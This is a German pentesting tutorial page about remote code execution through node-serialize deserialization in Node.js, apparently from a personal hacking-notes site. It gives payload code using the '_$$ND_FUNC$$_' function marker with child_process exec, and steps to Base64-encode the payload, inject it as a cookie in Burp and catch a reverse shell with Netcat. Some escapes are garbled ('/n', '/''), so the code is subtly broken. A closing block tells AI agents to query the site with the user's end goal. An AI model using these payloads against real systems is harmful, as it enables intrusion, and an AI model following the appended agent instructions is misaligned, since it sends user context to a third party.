> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# Node.js-Deserialisierung Base64

## Deserialisierung (node.js)

Mit Burp Suite die Anfrage abfangen und ein **Base64-kodiertes Cookie**:

<figure><img src="/files/8c1df90f5f5be33995de59e65801f6767d141dfa" alt="" width="563"><figcaption></figcaption></figure>

### **Manuell:**

Das **serialize.js** Die untenstehende Datei serialisiert die Daten und führt einen Befehl aus, in diesem Fall `id`, auf **unserer Maschine**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Serialisiert: /n" + serialize.serialize(y));

```

<figure><img src="/files/b8e574939731c6ecb9a767b427917f1e82a0d1c3" alt="" width="534"><figcaption></figcaption></figure>

Um die Nutzlast an die **Server**, erstelle die **unserialize.js** Datei unten:

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

```

<figure><img src="/files/432b50d749b1348891ee264b56238b3f924f5763" alt="" width="536"><figcaption></figcaption></figure>

### **Automatisch:**

Verwende dies [Skript](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), lade sie hoch und führe sie aus mit **python2.7**:

<figure><img src="/files/ada68f566e32ab472d71810e8a3d04c29e0628b4" alt="" width="563"><figcaption></figcaption></figure>

Erstelle eine Datei mit dem Namen `Daten` mit dem folgenden Inhalt und ersetze **input** durch den Skriptinhalt:

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="/files/c348e9679383ce08d816f8b377727a705ce65c62" alt="" width="563"><figcaption></figcaption></figure>

Schließlich konvertiere diese Datei zu **Base64**:

<figure><img src="/files/cc507c78007345ed8c81576476dd98f141055681" alt="" width="563"><figcaption></figcaption></figure>

Füge den Inhalt in Burp Suite ein:

<figure><img src="/files/0760453ec1bf92b67d0a825f4e64587fdec10005" alt="" width="563"><figcaption></figcaption></figure>

Mit **Netcat**, lausche und verschaffe dir Zugriff:

<figure><img src="/files/ad2ea597faf8a4471e2d32d5934ea343e341fb6a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
